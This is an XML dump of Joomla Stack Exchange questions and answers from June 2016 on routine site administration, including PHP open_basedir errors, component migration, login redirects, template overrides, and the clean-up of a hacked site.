  <row Id="16999" PostTypeId="1" AcceptedAnswerId="28709" CreationDate="2016-06-28T10:21:11.337" Score="1" ViewCount="3962" Body="&lt;p&gt;I have been having a few problems installing an application called DB Replacer. I keep on getting the error “JFolder::create: Path not in open_basedir paths Unable to create destination”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was suggested that the solution to the problem could be found here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/4599/how-to-deal-with-jfoldercreate-path-not-in-open-basedir-paths-unable-to-crea&quot;&gt;How to deal with &amp;quot;JFolder::create: Path not in open_basedir paths Unable to create destination&amp;quot; while installing Joomla extensions?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have carried out the instructions to the point of opening Folder &quot;libraries&quot;. However, I can't find that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2020-12-02T22:20:51.203" Title="JFolder::create: Path not in open_basedir paths - Unable to create destination" Tags="|joomla-3.4|joomla-3.5|server|configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17001" PostTypeId="1" CreationDate="2016-06-28T12:15:18.357" Score="0" ViewCount="89" Body="&lt;p&gt;I am attempting to upgrade an old (custom) component for Joomla! 2.5 to 3.0, and I've been having issues with a few things, mainly JToolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on any button, I get this in my error console:&#xA;&lt;code&gt;&#xA;TypeError: null is not an object (evaluating 'n.task') (submitform — core.js:1:213)&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just press return/enter in the form, it refreshes the page and doesn't save any information. I already went through and renamed JElement to JFormField, replaced var properties with &lt;code&gt;public $type&lt;/code&gt;, and switched all JController/Model/etc. to their Legacy versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking around for articles, lists, and tutorials but I couldn't find anything at all about migrating actual components from 2.5 to 3 other than a small list of incompatibilities and a brief mention of &lt;code&gt;J*Legacy&lt;/code&gt; classes and the changes that I mentioned. Everything else that comes up is all about just migrating actual installations from 2.5 to 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it to work?&lt;/p&gt;&#xA;" OwnerUserId="1670" LastActivityDate="2016-06-28T17:26:56.893" Title="Upgrading a Joomla! 2.5 component to Joomla! 3 - JToolbar in Administrator doesn't work" Tags="|component|custom-component|migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17002" PostTypeId="1" AcceptedAnswerId="17014" CreationDate="2016-06-28T13:06:24.770" Score="0" ViewCount="894" Body="&lt;p&gt;Some sections of my website have to be protected by a password. I made an element in the menu list (blog category) with restricted access to “registered” users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I’m logged, by clicking on this menu element, I am correctly redirected to the expected page.&#xA;Conversly, by clicking on this menu element as an anonymous user, I am redirected to the page “Error 404 - Page not found”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how can i redirect anonymous users to the login page?&lt;/p&gt;&#xA;" OwnerUserId="8621" LastEditorUserId="159" LastEditDate="2016-07-01T19:40:33.347" LastActivityDate="2016-07-22T16:50:59.053" Title="Do you know how can i redirect anonymous users to the login page?" Tags="|login|redirect|category-blog|error-pages|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17003" PostTypeId="2" ParentId="16999" CreationDate="2016-06-28T13:23:57.740" Score="1" Body="&lt;p&gt;It's not possible to have a running joomla site without the libraries folder. It's located at the root of your Joomla installation. I hope this is the location you are looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the Q/A you linked, there is more than 1 answers. So make sure you read everything there. You could try the second answer as well, to enable Joomla FTP layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally make sure all Joomla directories are writable, just in case you have any permissions issues. You can go into your backend &lt;strong&gt;System -&gt; System Information -&gt; Folder Permissions&lt;/strong&gt; and look down the tree of your directories tree if all dirs are writable (green).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iw9Qn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iw9Qn.jpg&quot; alt=&quot;Joomla System Information - Directory Permissions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you can ask for advice from your hosting provider, and maybe they could make the appropriate changes on the server/php configuration (maybe with a custom php.ini or in htaccess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could define your own value for open_basedir directive, to the appropriate location for your site like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cPanel:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open_basedir = /home/username/public_html:/tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;strong&gt;Plesk:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open_basedir = /var/www/vhosts/domain/httpdocs/:/tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, if &lt;code&gt;open_basedir&lt;/code&gt; is set, it may be needed to set also the PHP &lt;code&gt;upload_tmp_dir&lt;/code&gt; directive to a path that's inside the open_basedir scope. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will work for you depends on your environment, so your hosting provider should be able to assist you or give you the right information.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-06-28T13:23:57.740" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17004" PostTypeId="2" ParentId="17001" CreationDate="2016-06-28T15:38:34.963" Score="1" Body="&lt;p&gt;A prominent cause of this issue is browser caching. Delete your browser cache and see if that fixes the problem. This will ensure that you will be using the latest JS libraries.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-28T15:38:34.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17005" PostTypeId="1" CreationDate="2016-06-28T17:16:31.073" Score="0" ViewCount="49" Body="&lt;p&gt;For some reason whenever I create Bullet points, Red tick bullet points keep on appearing. I've obviously made some configuration change to make this happen but I'm not sure where to fix it. The bullets appear on my page here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.keylooplabs.com/index.php/workbooks-2/pan-edu-201/module-8-dycryption/mod8-s2s-9&quot; rel=&quot;nofollow&quot;&gt;http://www.keylooplabs.com/index.php/workbooks-2/pan-edu-201/module-8-dycryption/mod8-s2s-9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know where to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="3650" LastEditDate="2016-12-13T07:53:49.147" LastActivityDate="2016-12-13T07:53:49.147" Title="Red Bullet Points Keep on Appearing" Tags="|joomla-3.x|joomla-3.4|templates|" AnswerCount="1" CommentCount="2" ClosedDate="2016-06-29T11:16:15.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="17006" PostTypeId="2" ParentId="17001" CreationDate="2016-06-28T17:26:56.893" Score="2" Body="&lt;p&gt;It turns out that all of the administrator forms needed to have &lt;code&gt;id=&quot;adminForm&quot;&lt;/code&gt; on them. The project that I was working on did not.&lt;/p&gt;&#xA;" OwnerUserId="1670" LastActivityDate="2016-06-28T17:26:56.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17007" PostTypeId="2" ParentId="17005" CreationDate="2016-06-28T19:19:35.830" Score="2" Body="&lt;p&gt;If you fire-up any Firebug/Inspector, it would quickly tell you to go to &lt;code&gt;/templates/gk_news2/css/override.css&lt;/code&gt; and on line 19 to edit selector &#xA;&lt;code&gt;li.workbookcontent.componentheading:before&lt;/code&gt; and disable parameter &lt;code&gt;content:&lt;/code&gt; and adjust &lt;code&gt;padding:&lt;/code&gt; to your liking.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-06-28T19:19:35.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17008" PostTypeId="2" ParentId="4114" CreationDate="2016-06-28T19:36:52.880" Score="4" Body="&lt;p&gt;There is also one other neat trick - when using Radio buttons, you can add Bootstrap class and they will look nicer. Look for class attribute in this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;some-choices&quot; type=&quot;radio&quot; class=&quot;btn-group btn-group-yesno&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that you continue with the rest of the code as normal.  &lt;/p&gt;&#xA;" OwnerUserId="8625" LastActivityDate="2016-06-28T19:36:52.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17010" PostTypeId="2" ParentId="16562" CreationDate="2016-06-29T03:21:20.710" Score="2" Body="&lt;p&gt;bxSlider latest versions conflict with mootools&#xA;Here is the issue I posted some time ago.&#xA;&lt;a href=&quot;https://github.com/stevenwanderski/bxslider-4/issues/1004&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stevenwanderski/bxslider-4/issues/1004&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either use an older bxSlider code, or don't use bxSlider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3 still may use mootools. And Joomla 2.5 uses it anyway as far as I remember.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2016-06-29T03:21:20.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17011" PostTypeId="2" ParentId="16986" CreationDate="2016-06-29T08:00:09.520" Score="-1" Body="&lt;p&gt;The popup windows are not part of core Joomla. You need some javascript for this, like jQuery or mootools, or a single JavaScript file with the function defined in there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can't be sure which backend template is used you have to bring your popup code with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: no, there is no inbuild library function (afaik).&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2016-06-29T08:00:09.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17012" PostTypeId="2" ParentId="17002" CreationDate="2016-06-29T10:56:20.067" Score="0" Body="&lt;p&gt;From the article at Joomla Docs: &lt;a href=&quot;https://docs.joomla.org/Auto_redirect_guests_to_login&quot; rel=&quot;nofollow&quot;&gt;Auto redirect guests to login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new menu from menu manager, say it is named &quot;hidden&#xA;    menu&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Add any menu items that will be accessible only to registered users (for example, &quot;Submit an Article&quot;). Set the required access levels of these menu items to &quot;Registered&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Do NOT create a module for the &quot;hidden menu&quot;. It will not be displayed on any page, so it doesn't need a module. &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your &quot;real&quot; menu (for example, &quot;main menu&quot;) and the menu item that will display for all users (for example &quot;Submit an Article&quot;). &#xA;The menu item will have a menu item type of &quot;Alias&quot;.&#xA;It's &quot;Menu Item&quot; parameter will be the &quot;Submit an Article&quot; menu item on the &quot;hidden menu&quot;.&#xA;The Access Level for this menu item will be &quot;Public&quot;, since we want everyone to be able to see and use it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a module of type &quot;mod_mainmenu&quot; for this menu, just like you do for any menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you want sub-menus, make sure you've added the sub-menu items in the &quot;main menu&quot; and not the &quot;hidden menu&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, when a guest (non-logged-in user) accesses the &quot;Submit an Article&quot; menu choice, it redirects them to the login page. If they log in successfully, they are taken to the desired page (in this case, &quot;Submit an Article&quot;). If there were already logged in, they go there directly.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-06-29T10:56:20.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17013" PostTypeId="1" CreationDate="2016-06-29T11:10:37.147" Score="0" ViewCount="416" Body="&lt;p&gt;I went log onto one of my websites today and got this error front end and back end&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Layout default_email not found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas as to what could cause this please&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently running joomla 3.5.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://support.barabano.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="1582" LastEditDate="2016-06-29T11:36:25.440" LastActivityDate="2024-03-23T19:00:45.117" Title="error 500 Layout default_email not found" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17014" PostTypeId="2" ParentId="17002" CreationDate="2016-06-29T15:23:57.750" Score="1" Body="&lt;p&gt;I fixed it! This is how:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a menu item with access registered with the description &quot;ata&quot; and menu item type category blog that links to your &quot;ata&quot; category. This will only be visible to logged in users.   &lt;/li&gt;&#xA;&lt;li&gt;Create a menu item with access guest (not public), with the description &quot;ata&quot; and menu item type login form. Set the login redirect to the URL of the item you created in 1. This will only be visible to users who are not logged in. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I have 2 different menus but I see only one. just a little trick..&lt;/p&gt;&#xA;" OwnerUserId="8621" LastEditorUserId="3650" LastEditDate="2016-07-22T16:50:59.053" LastActivityDate="2016-07-22T16:50:59.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17015" PostTypeId="1" CreationDate="2016-06-29T20:27:42.743" Score="1" ViewCount="129" Body="&lt;p&gt;I was editing my theme until something came up. Some paragraphs attributes appears between modules of my homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what's happening in image : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JhYe1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JhYe1.jpg&quot; alt=&quot;Space between mods&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I delete them through firebug, it's working and the space in the design disappear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I delete them for good in the source code ? Where do I find the place where thoses tags are really located ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They doesn't seems to appear in my mods when I look at them with the editor in the backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my english, I hope I was clear, if not don't hesitate to ask me some details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Joomla 3.5.1 with Artista Theme.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="8628" LastActivityDate="2016-07-27T20:44:13.690" Title="&lt;p&gt;&lt;/p&gt; tags appears out of nowhere" Tags="|development|templates|joomla-3.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17016" PostTypeId="1" AcceptedAnswerId="17017" CreationDate="2016-06-30T05:28:56.393" Score="2" ViewCount="1035" Body="&lt;p&gt;I am searching where in the database (table, column) are stored the choices we make at Option tab, when editing an article.&#xA;To be more specific I was looking to see where is the &quot;Show Author&quot; (Show Global, Show, Hide) choice is saved.&#xA;I looked at xxxx_content table but I was not able to find it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2016-06-30T09:57:56.277" Title="What is Joomla article options stored table?" Tags="|articles|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17017" PostTypeId="2" ParentId="17016" CreationDate="2016-06-30T05:48:30.917" Score="5" Body="&lt;p&gt;The data you are looking for is available in same table (#__content)&#xA;and you will find all the options in &lt;strong&gt;attribs&lt;/strong&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Note that in MySQL the table will have the db table prefix that you have specified for your database during installation/db creation).&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here all the values are storing in the &lt;strong&gt;JSON&lt;/strong&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;show_title&quot;:&quot;&quot;,&#xA;    &quot;link_titles&quot;:&quot;&quot;,&#xA;    &quot;show_tags&quot;:&quot;&quot;,&#xA;    &quot;show_intro&quot;:&quot;&quot;,&#xA;    &quot;info_block_position&quot;:&quot;&quot;,&#xA;    &quot;show_category&quot;:&quot;&quot;,&#xA;    &quot;link_category&quot;:&quot;&quot;,&#xA;    &quot;show_parent_category&quot;:&quot;&quot;,&#xA;    &quot;link_parent_category&quot;:&quot;&quot;,&#xA;    &quot;show_author&quot;:&quot;&quot;,&#xA;    &quot;link_author&quot;:&quot;&quot;,&#xA;    &quot;show_create_date&quot;:&quot;&quot;,&#xA;    &quot;show_modify_date&quot;:&quot;&quot;,&#xA;    &quot;show_publish_date&quot;:&quot;&quot;,&#xA;    &quot;show_item_navigation&quot;:&quot;&quot;,&#xA;    &quot;show_icons&quot;:&quot;&quot;,&#xA;    &quot;show_print_icon&quot;:&quot;&quot;,&#xA;    &quot;show_email_icon&quot;:&quot;&quot;,&#xA;    &quot;show_vote&quot;:&quot;&quot;,&#xA;    &quot;show_hits&quot;:&quot;&quot;,&#xA;    &quot;show_noauth&quot;:&quot;&quot;,&#xA;    &quot;urls_position&quot;:&quot;&quot;,&#xA;    &quot;alternative_readmore&quot;:&quot;&quot;,&#xA;    &quot;article_layout&quot;:&quot;&quot;,&#xA;    &quot;show_publishing_options&quot;:&quot;&quot;,&#xA;    &quot;show_article_options&quot;:&quot;&quot;,&#xA;    &quot;show_urls_images_backend&quot;:&quot;&quot;,&#xA;    &quot;show_urls_images_frontend&quot;:&quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Values description -&#xA;values are stored in &lt;code&gt;0,1&lt;/code&gt; format where &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show : 1&#xA;hide : 0&#xA;use global : &quot;&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="126" LastEditDate="2016-06-30T09:57:56.277" LastActivityDate="2016-06-30T09:57:56.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17018" PostTypeId="1" CreationDate="2016-06-30T10:42:10.583" Score="3" ViewCount="220" Body="&lt;p&gt;Every template I see has this way of outputting modules (in the index.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules( 'user1' )) : ?&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user1&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the template. Checks if module exists and if so , outputs it&#xA;However apparently for me including the following code will also work everytime, seemingly in the same way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user1&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If module is attached it wil show it , if not it won't.&#xA;So, what is the advantage of using the method countmodules to check if module is there?? Should it always be the norm?? What is the advantage of using the 1st method&lt;/p&gt;&#xA;" OwnerUserId="1554" LastActivityDate="2016-06-30T15:01:21.350" Title="Output of modules" Tags="|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17019" PostTypeId="2" ParentId="17018" CreationDate="2016-06-30T11:00:31.557" Score="6" Body="&lt;p&gt;The function is extremely handy when your template has some complex grid flexibility. Lets take the following into consideration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a template with a 12 column grid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_________________________&#xA;|               |       |&#xA;|               |       |&#xA;|               |       |&#xA;| main content  | side  |&#xA;|               |       |&#xA;|               |       |&#xA;|               |       |&#xA;|               |       |&#xA;-------------------------&#xA;&#xA;    col-md-8     col-md-4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which was generated by this simple HTML markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;main content&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;side&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;side&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now there may be some pages where you don't want to have a sidebar at all, and make the main content fill the entire 12 columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In which case, you can use the &lt;code&gt;countModules()&lt;/code&gt; function to determine the main content column size, depending on whether or not any modules have been assigned to the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $contentColSize = $this-&amp;gt;countModules('side') ? 12 : 8;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you final markup would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-&amp;lt;?php echo $contentColSize ; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;main content&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;countModules('side')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;side&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;side&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this clears things up a little&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-06-30T15:01:21.350" LastActivityDate="2016-06-30T15:01:21.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17020" PostTypeId="1" CreationDate="2016-06-30T11:47:47.360" Score="1" ViewCount="206" Body="&lt;p&gt;My website address is &lt;a href=&quot;http://bethelrc.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bethelrc.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google is reporting it may be hacked, when I look at the file system, there are many unauthorized folders and files recently created. I deleted all these malicious files that I was able to find and submit my website to google for review. Also there are many unauthorized users and articles on Joomla backend, I deleted all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, today one of my users report that when he opens the home page he sees a totally different article, screenshot is as follows:&lt;a href=&quot;https://i.stack.imgur.com/oRv5t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oRv5t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the hacker not only injected files but also hijacked Joomla system. Because when I open the website I see our own homepage. So my question is, technically and joomla-wise, how is this possible that when different users open homepage they see different things? Or, do they manipulate the database so that at some certain time homepage is pointing to this article? I look at my backend but I couldn't find this injected article, where could it be stored?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2016-07-01T08:46:36.713" LastActivityDate="2019-09-07T08:54:35.927" Title="Joomla site hacked. Some visitors see spam content, while others see normally my site's real content" Tags="|joomla-3.x|security|zoo|hacked|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17021" PostTypeId="1" AcceptedAnswerId="17028" CreationDate="2016-06-30T13:24:23.907" Score="1" ViewCount="76" Body="&lt;p&gt;I am trying to  insert the id value using JTable, however it seems like I have missed something and made the mistake while doing so. What changes do I need to make so as to get this working? Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$data = array(&#xA;['articleId'] = $this-&amp;gt;get('id'),&#xA;['title'], &#xA;['sharetoken']&#xA;);&#xA;&#xA;$values = array($db-&amp;gt;quote('id'), $db-&amp;gt;quote($title), $db-&amp;gt;quote($token));&#xA;&#xA;$query&#xA;  -&amp;gt;insert($db-&amp;gt;quoteName('#__share_draft'))&#xA;  -&amp;gt;columns($db-&amp;gt;quoteName($data))&#xA;  -&amp;gt;values(implode(',', $values));&#xA;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$table-&amp;gt;save($data);&#xA;&#xA;return $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8551" LastEditorUserId="3944" LastEditDate="2016-07-01T06:09:57.577" LastActivityDate="2016-07-29T07:47:13.310" Title="storing id using JTables" Tags="|database|joomla-3.5|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17022" PostTypeId="2" ParentId="17020" CreationDate="2016-06-30T15:15:04.733" Score="1" Body="&lt;p&gt;Check your .htaccess file, many users are used to search domains in google search box, I have been hacked this way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your .htaccess, activate line wrap and check file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the other hand, it's a good idea change your ftp password and then reinstall your joomla from scratch.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-06-30T15:15:04.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17023" PostTypeId="1" CreationDate="2016-06-30T16:22:59.153" Score="-3" ViewCount="357" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9t0B5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter image description here&lt;/a&gt;]&lt;a href=&quot;https://i.stack.imgur.com/9t0B5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know how to add some text / syntax at the bottom of all joomla articles. So lets say I wanted to add xxxxxxxxxxxxxxx to end of each article as shown in the image would that be possible? I'm using joomla 3.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cpatte7372&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-06-30T18:15:19.867" Title="How to Add Text at Bottom of All Joomla Articles" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="3" ClosedDate="2016-07-01T06:08:11.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="17024" PostTypeId="2" ParentId="17023" CreationDate="2016-06-30T17:09:58.347" Score="2" Body="&lt;p&gt;You can use template override to do this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the &lt;code&gt;/components/com_content/views/article/tmpl/default.php&lt;/code&gt; file to &lt;code&gt;/templates/{your template}/html/com_content/article/default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit and seek for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add your html after this line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also modify the value of &lt;code&gt;$this-&amp;gt;item-&amp;gt;text&lt;/code&gt; using php&lt;/p&gt;&#xA;" OwnerUserId="8234" LastEditorUserId="126" LastEditDate="2016-06-30T18:15:19.867" LastActivityDate="2016-06-30T18:15:19.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
